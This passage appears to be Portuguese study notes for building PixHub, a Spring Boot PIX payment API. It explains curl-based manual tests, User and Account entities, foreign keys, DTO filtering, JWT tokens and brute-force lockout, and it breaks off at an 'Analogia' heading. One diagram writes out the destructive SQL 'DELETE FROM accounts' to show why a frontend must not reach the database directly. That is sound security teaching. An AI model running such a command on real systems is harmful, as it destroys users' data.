curl -s http://localhost:8080/api/v1/accounts/{id}

# Conta duplicada (deve retornar 409 Conflict)
curl -s -X POST http://localhost:8080/api/v1/accounts \
  -H "Content-Type: application/json" \
  -d '{ mesmos dados }'

# Conta inexistente (deve retornar 404 Not Found)
curl -s http://localhost:8080/api/v1/accounts/uuid-que-nao-existe

# CPF invalido (deve retornar 422)
curl -s -X POST ... -d '{"holderDocument":"11111111111",...}'

# Campos obrigatorios faltando (deve retornar 400)
curl -s -X POST ... -d '{}'

Cada curl simula uma requisicao HTTP que um cliente (app, frontend) faria. Verificamos se o status code esta correto (201, 200, 409, 404, 422, 400) e se o corpo da resposta faz sentido.

Tipos de testes no mercado

O que fizemos (rodar curl na mao) e um teste manual. Funciona para verificar rapidamente, mas no mercado existem varios niveis de teste, cada um com um proposito diferente:

1. Teste Unitario — testa uma unica classe ou metodo isolado. Exemplo: testar se DocumentValidator.isValidCpf("52998224725") retorna true. Nao sobe banco, nao sobe Spring. Roda em milissegundos. Ferramenta: JUnit 5 + Mockito.

2. Teste de Integracao — testa componentes juntos (Service + Repository + banco de dados real). Exemplo: chamar accountService.createAccount() e verificar se a conta foi salva no PostgreSQL. Sobe o Spring e um banco real via Testcontainers (container Docker temporario so para o teste).

3. Teste End-to-End (E2E) — testa a API inteira de fora, como um cliente faria. E exatamente o que fizemos com curl, mas automatizado. Ferramenta: Spring MockMvc ou RestAssured. Envia um POST real, verifica status 201, verifica campos do JSON.

4. Teste de Contrato — garante que a API nao quebrou o "contrato" com quem consome. Se um campo mudou de nome ou sumiu, o teste falha. Usado quando varios times dependem da mesma API.

A rotina de testes no dia a dia

No mercado, testes nao sao opcionais — sao obrigatorios. A rotina tipica de um dev:

  1. Escreve o codigo — implementa a feature ou corrige o bug
  2. Escreve os testes — unitarios para a logica, integracao para o fluxo
  3. Roda mvn test — todos os testes do projeto executam
  4. Faz o commit — so comita se todos os testes passarem
  5. Abre o Pull Request — o CI (GitHub Actions, Jenkins) roda todos os testes automaticamente. Se algum falhar, o PR nao pode ser mergeado.

Isso se chama CI/CD (Continuous Integration / Continuous Delivery): cada push no repositorio dispara uma pipeline que compila, testa e (se tudo passar) faz deploy automatico. Se o teste falha, ninguem consegue mergear — o codigo quebrado nao chega em producao.

Por que testes importam tanto?

Em fintech (nosso caso), um bug pode significar dinheiro perdido. Imagine se o AccountService.createAccount() parasse de validar CPF — contas falsas seriam criadas e receberiam PIX. Testes automatizados pegam esse tipo de regressao antes de chegar em producao.

A regra do mercado: quanto mais critico o sistema, mais testes ele tem. APIs bancarias tipicamente exigem cobertura de 80%+ (80% das linhas de codigo sao exercitadas por algum teste). No nosso projeto, vamos implementar testes automatizados nas proximas fases usando JUnit 5 + Testcontainers.

Analogia

Teste manual (curl) e como checar se a porta tranca girando a chave uma vez. Teste automatizado e como instalar uma camera de seguranca que verifica a porta 24h por dia. A camera nao impede o arrombamento, mas garante que voce descobre na hora se alguem mexeu na fechadura. No mercado, ninguem entrega software sem camera — so com a chave na mao nao basta.

O que fizemos?

Criamos a fundacao de autenticacao do sistema: a entidade User, seus enums (UserRole, UserStatus), o repositorio e a migration SQL. Antes disso, o PixHub tinha contas bancarias (Account) mas nao tinha quem faz login. E como ter um banco com cofres, mas sem recepcao onde as pessoas se identificam.

Por que separar User de Account?

No PIX real, a "conta" e do banco (dados bancarios, saldo) e o "usuario" e quem acessa o sistema (credenciais, sessao). Sao coisas diferentes:

Separacao de responsabilidades
User (autenticacao)          Account (dados bancarios)
─────────────────            ────────────────────────
email                        holderName
password (BCrypt)            holderDocument (CPF/CNPJ)
fullName                     bankCode, branch
role (USER/ADMIN)            accountNumber
failedLoginAttempts          balance
lockedUntil                  status (ACTIVE/BLOCKED)

Um usuario pode ter varias contas (corrente + poupanca).
Um admin pode existir sem conta bancaria.

Os 5 arquivos criados

UserRole.java — Papeis de acesso
public enum UserRole {
    USER,    // cliente comum — gerencia suas contas e chaves PIX
    ADMIN    // acesso administrativo — bloquear contas, ver audit logs
}

// O JWT carrega a role como claim, e o Spring Security
// usa hasRole() para restringir acesso a endpoints.
UserStatus.java — Protecao brute force
public enum UserStatus {
    ACTIVE,  // pode fazer login normalmente
    LOCKED   // bloqueado apos muitas tentativas falhas de login
}

// LOCKED e temporario: o campo lockedUntil define quando desbloqueia.
// Diferente de AccountStatus.BLOCKED (bloqueio de conta bancaria).

Campos importantes da Entity User

User.java — Campos de seguranca
// Senha NUNCA e salva em texto puro. BCrypt e um hash irreversivel:
// "minhasenha123" → "$2a$10$xKz8G..."
// Cada hash e diferente mesmo para senhas iguais (salt automatico)
@Column(name = "password", nullable = false, length = 72)
private String password;

// Contador de erros — persiste no banco (nao em cache)
// Se o servidor reiniciar, o atacante NAO ganha novas tentativas
@Column(name = "failed_login_attempts", nullable = false)
@Builder.Default
private Integer failedLoginAttempts = 0;

// null = nao bloqueado. Data futura = bloqueado ate aquela hora
// O Service verifica: if (now > lockedUntil) → desbloqueia
@Column(name = "locked_until")
private LocalDateTime lockedUntil;

// FK opcional — admin pode nao ter conta bancaria
@Column(name = "account_id")
private UUID accountId;
UserRepository.java — Consultas de autenticacao
// Usado no login: "esse email existe? me traz o usuario"
Optional<User> findByEmail(String email);

// Usado no registro: "ja tem alguem com esse email?"
// Retorna 409 Conflict em vez de deixar o banco explodir
boolean existsByEmail(String email);

// Painel admin: listar todos os usuarios bloqueados
List<User> findByStatus(UserStatus status);
Analogia

User e o cracha de identificacao que voce usa para entrar no predio (email + senha). Account e a sala onde voce trabalha la dentro (conta bancaria, saldo). Voce pode ter um cracha sem ter sala (admin), e pode ter acesso a varias salas com o mesmo cracha (varias contas).

O que e uma FK?

Imagina dois cadernos: o Caderno de Alunos (cada aluno tem um ID unico: 001, 002, 003) e o Caderno de Notas (cada nota precisa dizer de qual aluno e). No caderno de notas voce escreve: "Nota 9.5, aluno 002". Esse "aluno 002" e uma FK — e um numero que aponta para outro caderno. Voce nao reescreve o nome, endereco e CPF do aluno de novo — so referencia o ID dele.

Se alguem tentar escrever "Nota 7.0, aluno 999" e o aluno 999 nao existir, o banco de dados recusa. Isso e a integridade referencial — a FK garante que voce nunca aponte para algo que nao existe.

Como aparece no nosso projeto

Diagrama: tabelas users e accounts
┌──────────────────────┐         ┌──────────────────────┐
│       accounts       │         │        users         │
├──────────────────────┤         ├──────────────────────┤
│ id (PK) ◄────────────────────── account_id (FK)      │
│ holder_name          │         │ id (PK)              │
│ holder_document      │         │ email                │
│ balance              │         │ password             │
│ ...                  │         │ full_name            │
└──────────────────────┘         │ ...                  │
                                 └──────────────────────┘

PK = Primary Key (identificador unico da tabela)
FK = Foreign Key (aponta para PK de outra tabela)

No SQL — a migration V8

V8__create_user_table.sql — trecho da FK
-- Dentro do CREATE TABLE users:
account_id    UUID    NULL,

-- La embaixo, a constraint:
CONSTRAINT fk_user_account FOREIGN KEY (account_id)
    REFERENCES accounts (id) ON DELETE SET NULL

Linha por linha:

Explicacao de cada trecho
account_id UUID NULL
→ Cria a coluna. NULL = pode ficar vazio (admin sem conta)

CONSTRAINT fk_user_account
→ Da um nome a regra (facilita debug se der erro)

FOREIGN KEY (account_id)
→ "a coluna account_id desta tabela..."

REFERENCES accounts (id)
→ "...aponta para a coluna id da tabela accounts"

ON DELETE SET NULL
→ "se a conta for deletada, nao delete o usuario
   — so limpe o campo para NULL"

Opcoes de ON DELETE

O que acontece quando a conta referenciada e deletada?
ON DELETE CASCADE    — deleta a conta → deleta o usuario junto (perigoso!)
ON DELETE RESTRICT   — impede deletar a conta se tiver usuario vinculado
ON DELETE SET NULL   — deleta a conta → account_id vira NULL (escolhemos este)

SET NULL e a escolha certa aqui porque: se a conta for encerrada,
o usuario ainda pode existir no sistema (ver historico, vincular outra conta).

No Java — a entidade User

User.java — FK como UUID simples
// O que fizemos (FK "manual" — so o ID):
@Column(name = "account_id")
private UUID accountId;
// Para buscar a conta: accountRepository.findById(user.getAccountId())

// O que NAO fizemos (@ManyToOne — carrega objeto inteiro):
// @ManyToOne
// @JoinColumn(name = "account_id")
// private Account account;  ← carrega o objeto Account inteiro

Optamos por guardar so o UUID em vez do objeto completo por 3 razoes:

1. Evita acoplamento circular — User depende de Account, que poderia depender de User, criando um ciclo. 2. Performance — com @ManyToOne, toda vez que busca um User o JPA pode carregar a Account junto (query extra desnecessaria). 3. Separacao de dominios — autenticacao e dados bancarios sao responsabilidades diferentes.

Analogia

FK e como o numero de telefone de um contato. Voce nao cola a pessoa inteira na sua agenda — so anota o numero (referencia). Se precisar falar com ela, usa o numero para encontra-la. Se a pessoa mudar de numero e voce nao atualizar, a ligacao nao completa — isso e a integridade referencial impedindo "referencias quebradas".

O caminho completo de um dado

Quando alguem cria uma conta no sistema, o dado viaja por 3 camadas. O ponto mais importante: o Frontend NUNCA fala direto com o banco. O Java e o intermediario obrigatorio.

Fluxo completo de um POST /api/v1/accounts
Frontend (React)          Backend (Java/Spring)         Banco (PostgreSQL)
     │                           │                            │
     │  POST /api/v1/accounts    │                            │
     │  { "holderName": "Riel",  │                            │
     │    "holderDocument":"..." }│                            │
     │ ─────── JSON ───────────► │                            │
     │                           │  1. Controller recebe      │
     │                           │  2. Service valida         │
     │                           │  3. Repository salva ─────►│
     │                           │                  INSERT INTO accounts...
     │                           │                            │
     │                           │  4. Banco confirma ◄───────│
     │                           │  5. Service monta resposta │
     │ ◄─────── JSON ─────────── │  6. Controller retorna     │
     │  { "id": "uuid-...",      │                            │
     │    "holderName": "Riel",  │                            │
     │    "balance": 0.00 }      │                            │

Por que o Java fica no meio?

Se o frontend falasse direto com o banco, qualquer pessoa poderia abrir o navegador, ver a URL do banco e executar comandos destrutivos. O Java no meio serve para 3 coisas:

1. Seguranca — o frontend so conhece a URL da API (/api/v1/accounts), nunca as credenciais do banco. 2. Validacao — o Java verifica se o CPF e valido, se a conta ja existe, se o saldo e suficiente... antes de tocar no banco. 3. Controle — o Java decide o que o frontend pode ver (nunca expoe a senha, por exemplo).

ERRADO vs CERTO
❌ ERRADO:   Frontend ──────────────► Banco (PostgreSQL)
             Qualquer um pode fazer DELETE FROM accounts!

✅ CERTO:    Frontend ──► Java ──► Banco
             Java valida, filtra e protege o acesso.

As 3 linguagens envolvidas

Cada linguagem tem seu papel
┌─────────────┬─────────────────────────────────────────────┐
│  Linguagem  │  Papel no projeto                            │
├─────────────┼─────────────────────────────────────────────┤
│  Java 17    │  Logica da aplicacao: entidades, validacao,  │
│             │  regras de negocio, controle de acesso       │
├─────────────┼─────────────────────────────────────────────┤
│  SQL        │  Estrutura do banco: CREATE TABLE, FKs,      │
│ (PostgreSQL)│  constraints, indices, migrations             │
├─────────────┼─────────────────────────────────────────────┤
│  Anotacoes  │  "Metadados" que conectam Java ↔ SQL         │
│  (@Entity,  │  O Spring/JPA le as anotacoes e gera o SQL   │
│  @Column)   │  automaticamente                              │
└─────────────┴─────────────────────────────────────────────┘
O fluxo de "compilacao"
Voce escreve Java   →   Flyway le o SQL       →   PostgreSQL cria a tabela
(User.java)             (V8__create_...)            (users no banco)
                                                         ↑
O JPA le as anotacoes (@Column, @Entity) e               │
sabe que User.java ←→ tabela users ──────────────────────┘
Analogia

Pensa num restaurante: o cliente (Frontend) faz o pedido ao garcom (Java). O garcom leva o pedido para a cozinha (Banco). O cliente nunca entra na cozinha — nao sabe onde ficam as facas, o fogo, os ingredientes. O garcom verifica se o pedido faz sentido ("senhor, nao temos sushi de picanha"), leva para a cozinha, e traz de volta so o prato pronto — nao traz a panela suja junto.

O que o banco sabe vs o que o frontend ve

O banco guarda tudo sobre uma entidade (incluindo dados sensiveis como senha e tentativas de login). Mas o frontend so deve ver o que e seguro e relevante. O DTO (Data Transfer Object) e o filtro entre os dois mundos.

Entity (banco) vs DTO Response (frontend)
O que esta no banco (Entity):         O que o frontend recebe (DTO):
┌──────────────────────────┐          ┌──────────────────────────┐
│ id                       │    ✅    │ id                       │
│ holderName               │    ✅    │ holderName               │
│ holderDocument (CPF)     │    ✅    │ holderDocument           │
│ balance                  │    ✅    │ balance                  │
│ status                   │    ✅    │ status                   │
│ password                 │    ❌    │ (NAO VAI!)               │
│ failedLoginAttempts      │    ❌    │ (NAO VAI!)               │
│ lockedUntil              │    ❌    │ (NAO VAI!)               │
└──────────────────────────┘          └──────────────────────────┘

Como o Mapper faz a filtragem

O Mapper e a classe que converte Entity ↔ DTO. Ele decide exatamente quais campos entram e quais ficam de fora:

AccountMapper.java — filtragem na pratica
// Entity → Response (o que SAI para o frontend)
public static AccountResponse toResponse(Account account) {
    return AccountResponse.builder()
            .id(account.getId())                 // ✅ pode ver
            .holderName(account.getHolderName()) // ✅ pode ver
            .balance(account.getBalance())       // ✅ pode ver
            .build();
    // password? NAO. failedLoginAttempts? NAO.
    // O mapper simplesmente nao inclui.
}

// Request → Entity (o que ENTRA vindo do frontend)
public static Account toEntity(CreateAccountRequest request) {
    return Account.builder()
            .holderName(request.getHolderName())
            .holderDocument(request.getHolderDocument())
            .build();
    // O frontend NAO define id, balance, status, createdAt.
    // Esses campos sao controlados pelo backend.
}

DTOs tambem filtram a ENTRADA

Nao e so a saida que e filtrada. O DTO de Request controla o que o frontend pode enviar:

O que o frontend pode e nao pode definir
CreateAccountRequest (o que o frontend PODE enviar):
  ✅ holderName, holderDocument, bankCode, branch, accountNumber, accountType

Campos que o backend define sozinho (frontend NAO controla):
  🔒 id         → gerado pelo banco (UUID automatico)
  🔒 balance    → comeca em 0.00 (ninguem cria conta com saldo)
  🔒 status     → comeca ACTIVE (backend decide)
  🔒 createdAt  → timestamp do momento da criacao
  🔒 updatedAt  → gerenciado pelo @PrePersist/@PreUpdate

Se o frontend tentasse enviar "balance": 999999.99 no JSON, o campo seria ignorado — porque o CreateAccountRequest nem tem campo balance. O Mapper so copia os campos que existem no DTO.

Fluxo completo com DTOs
┌─────────────────┐  JSON    ┌──────────────────────────────────────┐       ┌────────────┐
│                 │ Request  │           Java (Spring)                │  SQL  │            │
│    Frontend     │────────►│  Controller → Service → Repository     │──────►│ PostgreSQL │
│    (React)      │         │       ↑                                │       │            │
│                 │ Response │   DTO Request                         │       │            │
│                 │◄────────│  (filtra entrada)                      │◄──────│            │
└─────────────────┘  JSON   │       ↓                                │       └────────────┘
                            │   DTO Response         Entity          │
                            │  (filtra saida)    (objeto completo)   │
                            └──────────────────────────────────────┘
Analogia

O DTO e como o cardapio do restaurante. O cliente (frontend) ve so o que pode pedir (DTO Request) e recebe so o prato pronto (DTO Response). Ele nao ve a receita secreta, nao sabe quantos ingredientes sobraram no estoque, e nao pode pedir para cozinhar com a faca do chef. O garcom (Mapper) traduz o pedido do cardapio para instrucoes da cozinha, e traduz o prato da cozinha para apresentacao no prato bonito.

O problema que o JWT resolve

Antes da Fase 03, o PixHub era um restaurante sem porta. Qualquer pessoa acessava qualquer endpoint sem identificacao. Agora, o sistema exige que voce se identifique (login) e carregue um cracha digital (token JWT) em toda requisicao.

Os 15 arquivos da autenticacao e como se conectam

Mapa: quem chama quem
Frontend (React)
    │
    │ POST /api/v1/auth/login  {"email":"...", "password":"..."}
    ▼
AuthController          ← recebe a request, repassa para o Service
    │
    ▼
AuthService             ← CEREBRO: valida credenciais, controla brute force
    │
    ├──► UserRepository     ← busca/salva usuario no banco
    │        │
    │        ▼
    │    User (Entity)      ← modelo de dados (email, password BCrypt, role...)
    │        │
    │        ▼
    │    V8__create_user     ← migration SQL que cria a tabela
    │
    ├──► JwtService         ← FABRICA: gera e valida tokens JWT
    │        │
    │        ▼
    │    JwtProperties      ← le configs do application.yml (secret, expiracoes)
    │
    ├──► PasswordEncoder    ← BCrypt: criptografa e compara senhas
    │    (definido no SecurityConfig)
    │
    ├──► AuditService       ← registra acoes no log de auditoria
    │
    └──► Exceptions         ← AuthenticationFailedException (401)
         (capturadas pelo      AccountLockedException (423)
          GlobalExceptionHandler)

DTOs de entrada:  RegisterRequest, LoginRequest, RefreshTokenRequest
DTO de saida:     AuthResponse (accessToken + refreshToken)
Enums:            UserRole (USER/ADMIN), UserStatus (ACTIVE/LOCKED)

Os dois tipos de token

Access Token vs Refresh Token
┌─────────────────────┬─────────────────────┐
│    Access Token     │    Refresh Token     │
├─────────────────────┼─────────────────────┤
│ Duracao: 15 minutos │ Duracao: 7 dias      │
│ Uso: acessar APIs   │ Uso: renovar access  │
│ Contem: email, role │ Contem: email         │
│ Enviado em TODA     │ Enviado so para       │
│   requisicao        │   POST /auth/refresh  │
│ Se vazar: 15 min    │ Se vazar: rotacao     │
│   de dano maximo    │   invalida o antigo   │
└─────────────────────┴─────────────────────┘

Fluxo de vida dos tokens:
1. Login → recebe access (15min) + refresh (7dias)
2. Usa access por 15 min em toda request
3. Access expira → frontend recebe 401
4. Frontend envia refresh → recebe NOVOS tokens
5. Ciclo repete ate refresh expirar (7 dias)
6. Refresh expirou → login novamente

Impacto no projeto

Antes vs Depois da Fase 03
ANTES:                              DEPOIS:
❌ Qualquer um acessa tudo          ✅ So quem tem login acessa
❌ Sem saber quem fez o que         ✅ Cada acao tem dono (userId no JWT)
❌ Senhas? Nem existiam             ✅ Senhas com BCrypt (irreversivel)
❌ Nenhuma protecao contra ataque   ✅ Bloqueio apos 5 tentativas
❌ Uma sessao = para sempre         ✅ Tokens expiram (15 min / 7 dias)
❌ Todos sao iguais                 ✅ Roles: USER vs ADMIN
❌ Parece projeto de estudante      ✅ Padrao de mercado financeiro
Analogia

O JWT transformou o restaurante sem porta num predio comercial com catraca. Voce precisa se identificar na recepcao (login), receber um cracha (access token) e mostrar o cracha em cada andar (cada request). O cracha expira no fim do dia (15 min), mas voce pode renovar na recepcao mostrando seu cartao de funcionario (refresh token) sem refazer todo o cadastro (login).

O que e um JWT por dentro?

JWT (JSON Web Token) e uma string dividida em 3 partes separadas por pontos:

Anatomia de um JWT
eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJyaWVsQGVtYWlsLmNvbSJ9.assinatura
|_____________________| |_____________________________________| |________|
       HEADER                        PAYLOAD                   SIGNATURE

HEADER (algoritmo):
  {"alg": "HS256"}
  → "estou usando HMAC-SHA256 para assinar"

PAYLOAD (dados do usuario — chamados "claims"):
  {"sub": "riel@email.com",    → quem e o dono
   "userId": "uuid-123",       → ID no banco
   "role": "USER",             → papel (para autorizacao)
   "type": "access",           → tipo do token
   "exp": 1234567890}          → quando expira

SIGNATURE (lacre de seguranca):
  HMAC-SHA256(header + payload, chave_secreta)
  → se alguem alterar o payload, a assinatura nao bate mais
  → e como um lacre: se abriu, sabe que mexeram

Metodos do JwtService

JwtService.java — o que cada metodo faz
// Gera cracha principal (15 min) com dados do usuario
String generateAccessToken(UUID userId, String email, String role)

// Gera cracha de renovacao (7 dias) — mais simples, sem role
String generateRefreshToken(UUID userId, String email)

// Verifica se o cracha e legitimo (assinatura + expiracao)
// Retorna os dados (claims) se valido, null se invalido
Claims validateToken(String token)

// Atalhos uteis:
String getEmailFromToken(String token)  // de quem e?
String getTokenType(String token)       // access ou refresh?

Por que validar sem consultar o banco?

A assinatura HMAC garante que o token nao foi alterado. Se o servidor assinou com a chave secreta e a assinatura bate, os dados sao confiaveis. Isso torna a autenticacao muito rapida — nao precisa de query no banco a cada request. Em APIs com milhares de requests por segundo, essa diferenca e critica.

Analogia

O JwtService e a maquina de imprimir crachas do predio. Quando voce se registra, ela imprime um cracha com seu nome, foto e um holograma (assinatura). Na catraca, o seguranca so olha o holograma — se for autentico, nem precisa ligar para a recepcao para confirmar. Isso e rapido. Se o holograma estiver errado, o cracha e falso.

Os 3 fluxos principais

register() — Criar usuario
1. Email ja existe?  → 409 Conflict
2. Criptografa senha → BCrypt: "senha123" → "$2a$10$xKz8..."
3. Salva no banco    → User com role=USER, status=ACTIVE
4. Gera tokens       → access (15min) + refresh (7dias)
5. Retorna tokens    → usuario ja fica logado apos registro
login() — Autenticar usuario
1. Email existe?     → se NAO: "Credenciais invalidas" (mensagem GENERICA)
2. Esta bloqueado?   → se SIM e expirou: desbloqueia automaticamente
                     → se SIM e NAO expirou: 423 "Conta bloqueada ate 21:30"
3. Senha correta?    → BCrypt.matches("digitada", "$2a$10$hash...")
   3a. ERROU:        → incrementa contador (1/5, 2/5...)
                     → se chegou em 5: BLOQUEIA por 30 minutos
                     → lanca 401 "Credenciais invalidas"
   3b. ACERTOU:      → reseta contador para 0
                     → gera tokens
                     → retorna tokens
refresh() — Renovar tokens
1. Token valido?         → assinatura + expiracao
2. E do tipo "refresh"?  → impede usar access token aqui
3. Usuario ainda ativo?  → pode ter sido bloqueado desde o ultimo token
4. Gera NOVOS tokens     → rotacao: novo access + novo refresh
5. Retorna novos tokens

Protecao contra brute force

O que acontece a cada tentativa errada
Tentativa 1: "Credenciais invalidas" (failedLoginAttempts = 1)
Tentativa 2: "Credenciais invalidas" (failedLoginAttempts = 2)
Tentativa 3: "Credenciais invalidas" (failedLoginAttempts = 3)
Tentativa 4: "Credenciais invalidas" (failedLoginAttempts = 4)
Tentativa 5: 🔒 BLOQUEADO! (status = LOCKED, lockedUntil = agora + 30min)

30 minutos depois...
Tentativa 6: Sistema detecta que lockedUntil ja passou → desbloqueia
             → failedLoginAttempts reseta para 0 → pode tentar de novo

Por que no banco e nao em cache?
  Se o servidor reiniciar, o cache some e o atacante ganha 5 tentativas novas.
  No banco, o contador persiste entre deploys.

Seguranca: mensagens genericas

A mensagem de erro e sempre "Credenciais invalidas" — nunca "email nao encontrado" ou "senha incorreta". Se dissessemos qual campo esta errado, um atacante poderia enumerar emails validos testando um por um. Mensagem generica = nenhuma pista.

Analogia

O AuthService e o gerente da recepcao. Ele toma todas as decisoes: pode entrar ou nao, precisa de cracha novo, esta bloqueado por tentativas demais. O AuthController (garcom) so repassa os pedidos — quem decide e o gerente.

O caminho completo de um login

Diagrama de sequencia: POST /api/v1/auth/login
USUARIO          CONTROLLER        AUTHSERVICE       JWTSERVICE        BANCO
   │                  │                  │                  │              │
   │ POST /auth/login │                  │                  │              │
   │ {email, password}│                  │                  │              │
   │ ────────────────►│                  │                  │              │
   │                  │ login(request)   │                  │              │
   │                  │ ────────────────►│                  │              │
   │                  │                  │ findByEmail()    │              │
   │                  │                  │ ─────────────────┼────────────►│
   │                  │                  │                  │  User found │
   │                  │                  │ ◄────────────────┼────────────│
   │                  │                  │                  │              │
   │                  │                  │ bloqueado? NAO   │              │
   │                  │                  │ senha ok? SIM    │              │
   │                  │                  │                  │              │
   │                  │                  │ generateAccess() │              │
   │                  │                  │ ────────────────►│              │
   │                  │                  │ ◄────────────────│ "eyJ..."    │
   │                  │                  │ generateRefresh()│              │
   │                  │                  │ ────────────────►│              │
   │                  │                  │ ◄────────────────│ "eyJ..."    │
   │                  │                  │                  │              │
   │                  │ AuthResponse     │                  │              │
   │                  │ ◄────────────────│                  │              │
   │ 200 OK           │                  │                  │              │
   │ {accessToken,    │                  │                  │              │
   │  refreshToken,   │                  │                  │              │
   │  expiresIn: 900} │                  │                  │              │
   │ ◄────────────────│                  │                  │              │

E depois do login? Como usa o token?

Usando o access token nas proximas requests
# Agora que tem o token, TODA request precisa do header:
curl -X GET http://localhost:8080/api/v1/accounts \
  -H "Authorization: Bearer eyJhbGciOiJIUzI1NiJ9..."
                                 │         │
                                 │         └── o token JWT
                                 └── tipo: sempre "Bearer"

# Sem o header → 401 Unauthorized
# Com token expirado → 401 Unauthorized → usar /auth/refresh
# Com token valido → 200 OK (request normal)
Analogia

E como um dia no predio comercial: voce chega de manha, se identifica na recepcao (login), recebe o cracha (tokens). Durante o dia, mostra o cracha em cada andar (header Authorization). O cracha expira no fim do expediente (15 min), mas voce pode renovar no balcao (refresh) sem refazer o cadastro. Depois de uma semana (7 dias), precisa de um novo cadastro completo (login novamente).

Os conceitos sao portateis entre linguagens

Tudo que estamos aprendendo neste projeto nao e exclusivo do Java. A logica e a mesma em qualquer linguagem — so muda a sintaxe (o "sotaque").

Mesmo conceito, linguagens diferentes
CONCEITO               JAVA                 NODE.JS              PYTHON
─────────             ─────                 ────────             ──────
Token JWT             jjwt                  jsonwebtoken         PyJWT
Hash de senha         BCrypt (Spring)       bcrypt (npm)         passlib
Camadas               Controller/Service    Router/Service       View/Service
DTOs                  Classes Java          Interfaces TS        Pydantic
Erro global           ExceptionHandler      Error middleware      Exception handler
Config                application.yml       .env + dotenv        settings.py
Migrations            Flyway                Prisma Migrate       Alembic
ORM                   Hibernate (JPA)       Prisma / TypeORM     SQLAlchemy

Exemplo: login em 3 linguagens

Java (nosso projeto)
User user = userRepository.findByEmail(request.getEmail())
    .orElseThrow(() -> new AuthenticationFailedException("Credenciais invalidas"));

if (!passwordEncoder.matches(request.getPassword(), user.getPassword())) {
    handleFailedLogin(user);
    throw new AuthenticationFailedException("Credenciais invalidas");
}
return generateTokenResponse(user);
Node.js (Express + TypeScript)
const user = await userRepository.findByEmail(request.email);
if (!user) {
    throw new AuthenticationFailedError("Credenciais invalidas");
}

const senhaCorreta = await bcrypt.compare(request.password, user.password);
if (!senhaCorreta) {
    await handleFailedLogin(user);
    throw new AuthenticationFailedError("Credenciais invalidas");
}
return generateTokenResponse(user);
Python (FastAPI)
user = user_repository.find_by_email(request.email)
if not user:
    raise AuthenticationFailedError("Credenciais invalidas")

if not bcrypt.checkpw(request.password.encode(), user.password.encode()):
    handle_failed_login(user)
    raise AuthenticationFailedError("Credenciais invalidas")

return generate_token_response(user)

Repare: a logica e identica. Buscar usuario, comparar senha, tratar erro, gerar token. O que muda e a "roupagem": Java usa tipos explicitos e annotations, Node usa async/await, Python usa indentacao.

O que e especifico do Java?

Coisas que so Java faz desse jeito
ESPECIFICO DO JAVA                  COMO OUTRAS LINGUAGENS RESOLVEM
──────────────────                  ────────────────────────────────
@Service, @Bean (injecao de dep.)   Node: importa direto. Python: Depends()
@Valid + @NotBlank (validacao)      Node: Zod, Joi. Python: Pydantic
extends BaseEntity (heranca)        Universal (OOP), mas Java depende mais disso
@Transactional (atomicidade)        Node: prisma.$transaction(). Python: session.begin()
Lombok (@Getter, @Builder)          Node: nem precisa (JS ja e conciso)
                                    Python: @dataclass faz o mesmo
Analogia

Aprender Java para sistemas financeiros e como aprender a cozinhar comida japonesa. Os conceitos (cortar, temperar, cozinhar) servem para QUALQUER cozinha. Se amanha voce for para a cozinha italiana, ja sabe os fundamentos — so precisa aprender os ingredientes e tecnicas especificos. O que estamos aprendendo aqui (JWT, BCrypt, camadas, DTOs, brute force) e o fundamento — funciona em qualquer "cozinha".

O que a Fase 01 fez?

A Fase 01 criou a fundacao do predio. Antes dela, nao existia nada — nem projeto, nem banco de dados, nem servidor. Depois dela, tinhamos um esqueleto funcionando: aplicacao Spring Boot que sobe, conecta no PostgreSQL, cria topicos no Kafka e mostra documentacao Swagger.

Pensa assim: a Fase 01 e como comprar o terreno, fazer a planta e levantar as paredes. Nenhum movel ainda (entidades, servicos), mas a estrutura esta de pe e pronta para receber tudo.

Mapa de arquivos e como se conectam

17 arquivos da Fase 01 — quem depende de quem
┌───────────────────────────────────────────────────────────────────┐
│                    PONTO DE ENTRADA                                │
│                                                                   │
│  PixHubApplication.java                                           │
│  └── @SpringBootApplication                                       │
│      "Acorda" todo o sistema: escaneia pacotes, cria beans,       │
│      sobe Tomcat, executa Flyway, registra configs                │
│       │                                                           │
│       ├──► application.yml          (configs compartilhadas)      │
│       ├──► application-dev.yml      (configs do Docker local)     │
│       ├──► application-test.yml     (configs de Testcontainers)   │
│       └──► application-prod.yml     (configs de producao)         │
└───────────┬───────────────────────────────────────────────────────┘
            │ carrega automaticamente
            ▼
┌───────────────────────────────────────────────────────────────────┐
│                    CONFIGURACOES (@Configuration)                  │
│                                                                   │
│  SecurityConfig.java         KafkaConfig.java     OpenApiConfig   │
│  ├── SecurityFilterChain     ├── topico pix-       ├── Swagger UI │
│  │   "quem pode acessar      │   transactions     │   titulo,    │
│  │    o que"                  │                    │   versao,    │
│  │                           ├── topico pix-       │   JWT button │
│  └── (CSRF off,              │   notifications    └──────────────│
│       stateless)             └────────────────────                │
└───────────────────────────────────────────────────────────────────┘
            │ estrutura de dados
            ▼
┌───────────────────────────────────────────────────────────────────┐
│                    BANCO DE DADOS                                  │
│                                                                   │
│  V1__create_schema.sql                                            │
│  └── CREATE EXTENSION uuid-ossp                                   │
│      (habilita UUID nativo no PostgreSQL)                         │
│                                                                   │
│  docker-compose.yml                                               │
│  ├── PostgreSQL 16  (porta 5432) → onde os dados moram            │
│  ├── Kafka KRaft    (porta 9092) → mensageria assincrona          │
│  └── Kafka UI       (porta 8090) → interface visual do Kafka      │
└───────────────────────────────────────────────────────────────────┘
            │ suporte
            ▼
┌───────────────────────────────────────────────────────────────────┐
│                    INFRAESTRUTURA                                  │
│                                                                   │
│  pom.xml               → lista de dependencias (o "package.json") │
│  Dockerfile            → como empacotar a app em container        │
│  .gitignore            → o que NAO versionar (target/, .env)      │
│  .env.example          → template de variaveis de ambiente        │
│  CLAUDE.md             → instrucoes do projeto                    │
│  GlobalExceptionHandler → tratamento de erros (esqueleto inicial) │
└───────────────────────────────────────────────────────────────────┘

Impacto no projeto

O que a Fase 01 habilitou
SEM Fase 01:                           COM Fase 01:
❌ Nenhum projeto existe               ✅ Projeto Maven compilando
❌ Nenhum banco de dados               ✅ PostgreSQL rodando no Docker
❌ Nenhuma mensageria                  ✅ Kafka com topicos prontos
❌ Nenhuma documentacao de API         ✅ Swagger UI acessivel
❌ Nenhuma estrutura de seguranca      ✅ Spring Security configurado
❌ Nenhum controle de schema           ✅ Flyway com migration baseline
❌ Nenhuma padronizacao de erros       ✅ GlobalExceptionHandler basico
Analogia

